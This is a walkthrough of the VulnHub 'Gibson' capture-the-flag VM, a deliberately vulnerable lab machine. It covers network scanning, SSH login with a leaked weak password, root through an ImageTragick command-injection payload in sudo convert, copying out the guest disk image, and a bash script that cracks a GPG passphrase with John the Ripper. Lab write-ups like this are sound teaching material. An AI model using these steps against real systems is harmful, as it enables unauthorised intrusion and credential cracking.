Gibson is a boot2root created by Knightmare with a heavy 1988 Hackers theme; one of my favourite movies!
Discovery & Enumeration
The usual netdiscover
and nmap
to get an idea of what we are dealing
with…
root@kali:~# mkcd VulnHub/Gibson
root@kali:~/VulnHub/Gibson# netdiscover -pr 10.1.11.0/24
Currently scanning: (passive) | Screen View: Unique Hosts
1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 60
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.1.11.143 08:00:27:2c:de:ec 1 60 Cadmus Computer Systems
root@kali:~/VulnHub/Gibson# echo 10.1.11.143 > ip
root@kali:~/VulnHub/Gibson# nmap -A -T5 $(cat ip)
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-28 20:53 BST
Nmap scan report for gibson.vulnlab.fbcnt.in (10.1.11.143)
Host is up (0.00030s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fb:f6:d1:57:64:fa:38:66:2d:66:40:12:a4:2f:75:b4 (DSA)
| 2048 32:13:58:ae:32:b0:5d:b9:2a:9c:87:9c:ae:79:3b:2e (RSA)
|_ 256 3f:dc:7d:94:2f:86:f1:83:41:db:8c:74:52:f0:49:43 (ECDSA)
80/tcp open http Apache httpd 2.4.7
| http-ls: Volume /
| SIZE TIME FILENAME
| 273 2016-05-07 13:03 davinci.html
|_
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /
MAC Address: 08:00:27:2C:DE:EC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: Host: gibson.example.co.uk; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.30 ms gibson.vulnlab.fbcnt.in (10.1.11.143)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds
SSH and a somewhat baron web server, not a lot but something to work with.
root@kali:~/VulnHub/Gibson# http $(cat ip)/davinci.html
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 212
Content-Type: text/html
Date: Tue, 28 Jun 2016 22:52:28 GMT
ETag: "111-5323f5cc983b6-gzip"
Keep-Alive: timeout=5, max=100
Last-Modified: Sat, 07 May 2016 12:03:24 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: Accept-Encoding
<html>
<title>Gibson Mining Corporation</title>
<body>
<!-- Damn it Margo! Stop setting your password to "god" -->
<!-- at least try and use a different one of the 4 most -->
<!-- common ones! (eugene) -->
<h1> The answer you seek will be found by brute force</h1>
</body>
It looks like we have two clues here: Margo's password is probably "god" (or "love" or "sex" or "secret") and we'll need to using some brute forcing at some point.
I wonder if Margo got the message about not using "god" yet...
root@kali:~/VulnHub/Gibson# ssh margo@$(cat ip)
Ubuntu 14.04.3 LTS
margo@10.1.11.143's password: god
Apparently not! But is Margo really God?
margo@gibson:~$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo),27(sudo)
margo@gibson:~$ sudo -l
Matching Defaults entries for margo on gibson:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User margo may run the following commands on gibson:
(ALL) NOPASSWD: /usr/bin/convert
Not quite, but the explicit inclusion of ImageMagick's convert
feels
like a clue.
ImageTragick
margo@gibson:~$ convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: OpenMP
root@kali:~/VulnHub/Gibson# searchsploit imagemagick
------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------- ----------------------------------
GeekLog 2.x - ImageImageMagick.php Remote File Inclusion Vulnerability | ./php/webapps/3946.txt
ImageMagick 6.x - .PNM Image Decoding Remote Buffer Overflow Vulnerability | ./linux/dos/25527.txt
ImageMagick 6.x - .SGI Image File Remote Heap Buffer Overflow Vulnerability | ./linux/dos/28383.txt
ImageMagick 6.8.8-4 - Local Buffer Overflow (SEH) | ./windows/local/31688.pl
ImageMagick <= 6.9.3-9 / <= 7.0.1-0 - Multiple Vulnerabilities (ImageTragick) | ./multiple/dos/39767.txt
ImageMagick <= 6.9.3-9 / <= 7.0.1-0 - Delegate Arbitrary Command Execution (ImageTragick) | ./multiple/local/39791.rb
------------------------------------------------------------------------------------------- ----------------------------------
root@kali:~/VulnHub/Gibson# getsploit 39767
'/usr/share/exploitdb/platforms/multiple/dos/39767.txt' -> './39767.txt'
You know a vulnerability is going to be tasty if it has a fancy name ;-) ImageTragick arbitrary command execution sounds ideal. Perusing the txt file tells us all we need to know.
margo@gibson:~$ sudo convert 'https://";/bin/bash"' /dev/null
root@gibson:~# id
uid=0(root) gid=0(root) groups=0(root)
Of Flags & Rabbit Holes
There were no obvious flags (as hinted at in the VM description!), so I looked for any other services that might be running which revealed something quite interesting.
root@gibson:~# netstat -anl | grep LISTEN
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5900 0.0.0.0:* LISTEN
The apparent dns server on an alternative subnet indicates there could be a virtualised guest on the machine, easily verified by checking out the network config and running processes:
root@gibson:~# ifconfig
virbr0 Link encap:Ethernet HWaddr fe:54:00:72:e2:fb
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1053 (1.0 KB) TX bytes:1553 (1.5 KB)
vnet0 Link encap:Ethernet HWaddr fe:54:00:72:e2:fb
inet6 addr: fe80::fc54:ff:fe72:e2fb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6 errors:0 dropped:0 overruns:0 frame:0
TX packets:6197 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:1137 (1.1 KB) TX bytes:323405 (323.4 KB)
root@gibson:~# ps aux | grep virt
root 1114 0.0 1.3 372424 19864 ? Sl Jun28 0:00 /usr/sbin/libvirtd -d
libvirt+ 1300 0.0 0.1 28212 2416 ? S Jun28 0:00 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf
libvirt+ 1311 0.3 7.4 841876 113772 ? Sl Jun28 0:37 /usr/bin/qemu-system-x86_64 -name ftpserv -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 256 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid ebcdaa6c-b10a-d758-c13a-0fb296b011f1 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/ftpserv.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/ftpserv.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=2 -drive if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:72:e2:fb,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 127.0.0.1:0 -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5
So we have a guest machine running from
/var/lib/libvirt/images/ftpserv.img
, I could probe the VNC service
which is presumably mapped to the running guest but it is easier to cut
out the middle man and inspect the disk directly (I knew that forensics
class would come in handy!).
root@gibson:~# (cd /var/lib/libvirt/images; python -m SimpleHTTPServer)
Serving HTTP on 0.0.0.0 port 8000 ...
root@kali:~/VulnHub/Gibson# wget -q $(cat ip):8000/ftpserv.img
root@kali:~/VulnHub/Gibson# mmls ftpserv.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000000062 0000000063 Unallocated
002: 000:000 0000000063 0001048319 0001048257 Win95 FAT16 (0x0e)
003: ------- 0001048320 0001048575 0000000256 Unallocated
root@kali:~/VulnHub/Gibson# fls -f fat16 -o 63 -pr ftpserv.img | grep -i flag
r/r 388598: DOS/SOURCE/COMMAND/COMMAND/SUPPL/SRC/_FLAGS.C
r/r 723957: DOS/SOURCE/COMMAND/SUPPL/SRC/_FLAGS.C
r/r 845580: GARBAGE/flag.img
root@kali:~/VulnHub/Gibson# icat -f fat16 -o63 ./ftpserv.img 845580 > flag.img
root@kali:~/VulnHub/Gibson# file flag.img
flag.img: Linux rev 1.0 ext2 filesystem data, UUID=d59bdd40-ec37-4d24-a956-80f549846121
Getting closer, lets mount this filesystem and see whats inside.
root@kali:~/VulnHub/Gibson# mount flag.img /mnt
root@kali:~/VulnHub/Gibson# find /mnt -type f
/mnt/davinci
/mnt/davinci.c
/mnt/hint.txt
/mnt/.trash/flag.txt.gpg
/mnt/.trash/LeithCentralStation.jpg
A hint and an encrypted flag! This feels promising.
root@kali:~/VulnHub/Gibson# cat /mnt/hint.txt
http://www.imdb.com/title/tt0117951/ and
http://www.imdb.com/title/tt0113243/ have
someone in common... Can you remember his
original nom de plume in 1988...?
Who do Hackers and Trainspotting have in common? Jonny Lee Miller! And his nom de plume in Hackers? We all know that...
root@kali:~/VulnHub/Gibson# gpg --batch --passphrase "Zero Cool" --decrypt /mnt/.trash/flag.txt.gpg
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase
gpg: decryption failed: bad key
D'oh! Looks like that second clue is coming back around.
"The answer you seek will be found by brute force"
So Close & Yet So Far
This is where things get complicated. There aren't many tools out there for brute forcing symmetrically encrypted gpg files, although jtr did add support recently it hasn't made it to kali yet. Compilation was simple enough and documented well, so I won't go over it here.
Once I was armed with the bleeding-edge version of john-jumbo, I hit
another hurdle. My ciphertext is too big! I updated src/params.h setting
LINE_BUFFER_SIZE to 0x1000 and recompiled. Now I was ready to convert
the flag into a format john can attack using the gpg2john
util.
root@kali:~/VulnHub/Gibson# ~/src/JohnTheRipper/run/gpg2john /mnt/.trash/flag.txt.gpg > flag.john
[gpg2john] MDC is misssing, expect false positives!
False positives?! More hurdles! At first I figured they'd be few and far between, but what did I know? After a few attempts and john repeatedly throwing up false positives I knocked together a bash script to remove false positives from the dictionary and keep trying until we strike gold.
#!/bin/bash
set -euo pipefail
john=~/src/JohnTheRipper/run
function build_wordlist() {
local filename=$1; shift
local baseword=$1; shift
local wordlistcmd="echo $baseword"
for ruleset in "$@"; do
wordlistcmd="${wordlistcmd} | john --pipe --rules=${ruleset} --stdout 2>/dev/null"
done
echo "Building wordlist from \"$baseword\"..."
eval "$wordlistcmd" | sort -u >"$filename"
}
function prepare_flag() {
local flag=$1
local out=$2
$john/gpg2john "$flag" >"$out" 2>/dev/null
}
function crack_flag() {
local flag=$1
local john_flag=$2
local wordlist=$3
while true; do
$john/john --wordlist="$wordlist" "$john_flag" >/dev/null 2>&1
candidate=$($john/john --show "$john_flag" 2>/dev/null | head -1 | cut -d: -f2)
if [ "$candidate" = "0 password hashes cracked, 1 left" ]; then
echo "Wordlist exhausted, failed"
return 2
fi
echo "Testing Candidate \"$candidate\""
flag_text=$(gpg --passphrase "$candidate" --decrypt "$flag" 2>/dev/null) || true
if [ ! -z "$flag_text" ]; then
echo "Confirmed Passphrase: \"${candidate}\""
echo "${flag_text}"
return 0
fi
rm -f $john/john.pot
sed -i'' -e /^"${candidate}"$/d "$wordlist"
done
}
function usage() {
echo "$0 <flag> <baseword> [rules]"
}
function main() {
# commandline args
local flag=$1; shift
local baseword=$1; shift
local rules=$*
# temp files
local john_flag
john_flag=$(mktemp /tmp/flag.XXXXXX)
local wordlist
wordlist=$(mktemp /tmp/wordlist.XXXXXX)
prepare_flag "$flag" "$john_flag"
build_wordlist "$wordlist" "$baseword" $rules
crack_flag "$flag" "$john_flag" "$wordlist"
rm -f "$john_flag" "$wordlist"
}
if [ -z "$3" ]; then
usage
else
main "$@"
fi
And once I added the "L33t" ruleset to my word mangling (should've been in there all along really - we are dealing with old school hackers after all), gold was indeed struck.
root@kali:~/VulnHub/Gibson# ./crack.sh /mnt/.trash/flag.txt.gpg "Zero Cool" Wordlist NT ReplaceLetters L33t
Building wordlist from "Zero Cool"...
Testing Candidate "FEro Co0|"
Testing Candidate "ser0c0o!"
Testing Candidate "Z3COcoOl"
Testing Candidate "Z3r0K00l"
Confirmed Passphrase: "Z3r0K00l"
_ _ _ _____ _ ____ _ _ _
| | | | __ _ ___| | __ |_ _| |__ ___ | _ \| | __ _ _ __ ___| |_| |
| |_| |/ _` |/ __| |/ / | | | '_ \ / _ \ | |_) | |/ _` | '_ \ / _ \ __| |
| _ | (_| | (__| < | | | | | | __/ | __/| | (_| | | | | __/ |_|_|
|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_)
Should you not be standing in a 360 degree rotating payphone when reading
this flag...? B-)
Anyhow, congratulations once more on rooting this VM. This time things were
a bit esoteric, but I hope you enjoyed it all the same.
Shout-outs again to #vulnhub for hosting a great learning tool. A special
thanks goes to g0blin and GKNSB for testing, and to g0tM1lk for the offer
to host the CTF once more.
--Knightmare
Awesome.
Thanks to Knightmare for a great CTF; root isn't even half of the challenge, and it keeps teasing you with success before you finally arrive there. Kudos!